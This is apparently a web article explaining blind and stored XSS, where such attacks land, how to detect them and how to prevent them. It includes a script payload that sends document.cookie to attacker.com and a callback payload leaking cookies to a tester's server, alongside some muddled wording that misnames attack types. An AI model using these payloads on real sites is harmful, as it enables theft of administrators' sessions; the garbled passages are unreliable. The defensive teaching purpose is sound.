What is Blind XSS? How to Detect & Prevent Blind XSS Attacks?

Home » What is Blind XSS? How to Detect and Prevent Blind XSS Attacks & Vulnerabilities?

Blind Cross-Site Scripting is a type of Cross-Site Scripting attack in which the injected script is executed in the context of another page and different circumstances compared to the page in which it was inserted.

Blind XSS differs from regular XSS attacks as the attacker cannot see the effect of the injected script in his or her browser since the script is executed in a place that the attacker can not access.

This is often the case where the injected script is stored in a database, log file, or any other back-end system and later used in another user’s browser, for instance, the administrator or the typical website user.

The “Blind XSS” name comes from the attacker not directly seeing the impact of the injected code. They mostly have to rely on secondary signs, which include changes in the server’s behavior, attempts to access unauthorized data, etc.

That would help them to know if the attack was successful or not. One of the most significant difficulties with blind XSS attacks is that they are launched by taking advantage of the trust between different individuals/units of a website.

As rogue scripts can be implanted into various form input fields or data storage areas, attackers can deviate from external security mechanisms and access restricted data or perform adverse activities in the application.

What is Stored Cross-Site Scripting (Stored XSS)?

Stored Cross-Site Scripting (Stored XSS) is a type of Cross-Site Scripting (XSS) where a malicious script is injected into a web application and is permanently stored on the server or, relevant, the client-side storage.

Unlike other XSS attacks where the payload is delivered to the clients on demand and in one or another, Stored XSS involves the injection of a script permanently stored in the application database, file system, or any other storage repositories.

When a victim. Visits the compromised webpage that contains the injected and stored malicious script, the script executes within the context of the victims’ browser, creating various security vulnerabilities.

Stored XSS attacks exist in web applications where users provide and save data that is later executed on all other users’ ‘clientside’ without checking for specific malicious scripts in the data input.

These weaknesses make it possible for the attacker to insert different types of code, including JavaScript, HTML, or any other type of web script, into the part of the Web page that the user is supposed to complete, for instance, the comments section or a user profile, forums, or bulletin boards.

When other users click through to the targeted pages and view the stored content, the injected script runs in the victim’s browser, which may result in unauthorized access to user sessions, theft of user data or passwords, web page vandalism, or some other form of hostile intent.

Administrative Panels

Web criminals tend to go for form and input areas visible to administrators. For instance, registration forms, feedback forms, and support tickets usually serve as the main entry points.
The second type of attack happens when the admin views the submissions; the malicious script executes in the admin’s browser, making him/her vulnerable to session hijack or taking action in his/her name.

Logging Systems

Logging systems that record user inputs or actions are target types that can have their contents when an application stores user inputs such as User agents, Referrer headers, or input fields and displays the log information on a web interface without scrubbing the data.
When an admin or developer reviews the logs, an attacker can embed executed scripts.

Customer Support Platforms

Applications that deal with user-generated content, such as customer service, customer support tickets, and customer interactions over chat or emails.
For example, the submitted dynamic content is a form of user input that an attacker can include in scripts executed when the content is reviewed by support staff.

Email Systems

Web-based email clients that support the rendering of HTML bodies. If the application does not sufficiently filter incoming emails, a virus attached to an email letter can be executed when the mail is opened.
Web applications may produce automated email reports; inherent to such content, user data might not be sanitized.

User Profiles and Content

Data input areas are open to regular users, and an attacker can enter some content that will be stored and then retrievable by other users, such as comments, reviews, their particular profile page, etc.
Since the SQL injection is passed within a profile update or comment, this script runs when another user or an admin looks at the profile or comment.

Here, an attacker attacks a website with a web application that features a customer feedback form publicly displaying the received submissions in an area accessible only to administrators.

The problem is that the script does not sanitize the information provided by the users before writing it to the command injection string.

The attacker plans to run an exploit to achieve his goal: pop up a script in the admin’s browser that would capture session cookies.

The attacker submits malicious feedback containing the following payload in the feedback form:

<script>
   fetch('https://attacker.com/steal-cookie', {
         method: 'POST',
         body: document.cookie
   });
</script>

This payload is stored in the database without prior sanitization so that format sets are not compromised. When the admin views the feedback, the script is invoked in his/her browser.

This script means the cookies belonging to the admin pass through the attacker’s servers.

Using these cookies, the attacker can perform subject-altering attacks to rewrite the admin’s identity and have full access to the administrators’ options in the web application, even if they are not administrators themselves.

Automated Scanners

Software like Burp Suite, OWASP ZAP, and Arachni can significantly help and benefit when identifying Blind XSS.

These automated scanners operate by entering different payloads into input fields and analyzing the output produced by the application.

It can indicate cases that allow intruders to input data that is not adequately filtered, thus making it possible to detect weak points.

Apart from conducting the testing in a shorter period, these tools also help increase the effectiveness of the testing techniques in a way that helps identify specific security loopholes that might have been overlooked while conducting manual testing.

Monitoring Out-of-Band Channels

Blind XSS vulnerabilities do not allow an attacker to get an immediate response about the successful injection, therefore it is more difficult to notice such an injection. This is made possible by establishing a server with callback capabilities.

When you attract certain payloads that are likely to force a request over HTTP or other form of alerts to this server, you will be able to detect any unusual occurrence.

For instance, if a given payload is a simple HTTP request that is executed on your server.

<script>new Image().src='https://your-server.com/xss?c='+document.cookie;</script>

Then, the time and location of the XSS payload will be discoverable, which will prove helpful in the subsequent investigation stage.

Logs and Alerts

It is possible to monitor and alert for Blind XSS attacks by incorporating the necessary tools within your application’s logs and back-end admin interfaces.

The second approach is to be notified of possible XSS attempts by configuring alerts for anticipated script behavior in the logs, including scripts or URLs that are out of the ordinary.

This makes it possible to detect unwanted events as soon as possible; therefore, corrective measures are taken immediately.

Using CSP and Reporting

This is especially true if a CSP contains a report-URI directive, which can help against XSS attacks. CSP acts to limit the execution of scripts from specific sources, and the ‘report-uri’ notifies an endpoint for any violators of the CSP.

This stops the running of undesired scripts and gives detailed reports on XSS attack attempts, which is a fantastic feature for pinpointing precisely those matters.

Manual Testing

While using tools, manual testing has been identified as another crucial factor that needs to be integrated into security testing.

While performing XSS tests, testers should attempt to input XSS payloads directly into input fields, forms, URL parameters, and other input gadgets and see if any input is echoed by the application or other party without proper escape.

This part of testing is sometimes considered the most powerful, as automated tools can sometimes miss specific XSS vulnerabilities, especially when testers try to attack user input stored and displayed later in the application.

Blind Cross-Site Scripting, or XSS, is another type of security breach that occurs in Web applications when data provided by a client is not adequately filtered or sanitized before it is included in an application’s response.

In contrast to typical XSS threats where injected payload outputs a response, blind XSS threats may be unrecognized or are not visibly impacted to demonstrate exploitation.

Blind XSS testing also encompasses a complete review of input fields, analyzing server responses, and observing the application’s behavior to determine both injection points and the consequences of using injected payloads.

Here is a detailed step-by-step guide on how to test for blind XSS vulnerabilities:

Identify Input Fields

Start with enumerating the form’s input fields, which display or contain end-user data. These might include text fields, input forms, URLs with query strings, cookies, headers, and all the other input elements.

Craft CSS Payloads

Create several XSS payload Weaver to enter on the given input fields. Such payloads should be the simple script tags such as <script>alert(‘XSS’)</script> and other advanced and potentially filtered or encoded policies used in the application.

Submit Payloads

Fill out the crafted XSS payloads in the input fields and try to pass them on to the application. Observe the application’s reaction to understand whether the payload runs or if there are signs of successful exploitation, such as changes in the error message or functionality.

Analyze Server Responses

When the application does not respond immediately to the payload, check logs and other server responses to find if the injected payload is reflected or stored.

There is an output of the HTTP responses, which can be analyzed with the help of the browser developer tools or using intercepting proxies such as Burp Suite, where we can look for evidence of XSS vulnerabilities.

Monitor Logs and Requests

Browse the server logs or open network requests to search for patterns or behaviors that were not typical before the XSS vulnerability attack. Most of the time, search for signs of payloads that have been injected and run on other page loads or by a different user.

Input Validation and Sanitization

Input validation and sanitization are necessary control measures that ensure blind XSS attacks are not perpetrated.

These methods allow the developer to perform checks on data passed as input by the users so that the application does not process incorrect and possibly unsafe values.

Sanitization is ‘stripping’ user input, mainly removing characters and HTML tags that can cause script injection vulnerabilities.

Such measures as whitelisting and sanitization can be used to minimize the potential of blind XSS attacks because they remove risky input from the application flow to prevent it from reaching the application’s logic.

Output Encoding

Output encoding is the most critical line of defense against blind XSS vulnerabilities. To this end, if user-generated content is encoded before being put into Web pages, it will be impossible for browsers to execute such content as code.

Some standard encoding techniques applied based on context include HTML entity encoding, JavaScript escaping, and CSS escaping, all of which work to counteract the effects of XSS payloads often inserted in the user input.

By appropriately encoding the output, the developers can prevent any XSS payloads passed through the input fields from being interpreted and consequently execute harmful scripts.

Content Security Policy (CSP)

The best measure in preventing blind XSS attacks is the integration of an efficient Content Security Policy (CSP). CSP enables a programmer to set several policies that indicate the possible origins required to load and execute content on a web page.

CSP directives should be appropriately set up to disable inline scripts, eval(), and other unsafe forms of dynamic code execution prone to generating blind XSS attacks. CSP complements defense in depth by regulating the interactions of web browsers and limiting script execution following security policies.

HTTP Security Headers

Implementing HTTP security headers is one of the best solutions to help secure web applications from blind XSS attacks.

Anti-XSS features like X-XSS-Protection, X-Content-Type-Options, and X-Frame-Options effectively guard against common web-based threats like XSS attacks.

If correctly set, the aforementioned headers will enable developers to guide web browsers in applying security measures and limitations to reduce exposure to XSS threats.

Security headers on the HTTP protocol are protective measures to increase the web application’s security level, limit opportunities for an attacker’s actions, and minimize the consequences of threats.

Input and Output Encoding Libraries

The forum used trusted input and output encoding libraries to avoid blind XSS attacks. These libraries offer developers inherent security measures from XSS threats by enabling the encoding of the inputs and outputs of those using the application.

As most server-side template engines escape output by default, and encoding libraries are also incorporated into the application; developers are confident that user-generated content must be processed and safe to be placed on Web pages.

These libraries reduce the danger of blind XSS threats and standardize the encoding procedures to render the undesirable input and output ineffective.

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What is Blind XSS? How to Detect and Prevent Blind XSS Attacks & Vulnerabilities?

What is Blind Xss?

What is Stored Cross-Site Scripting (Stored XSS)?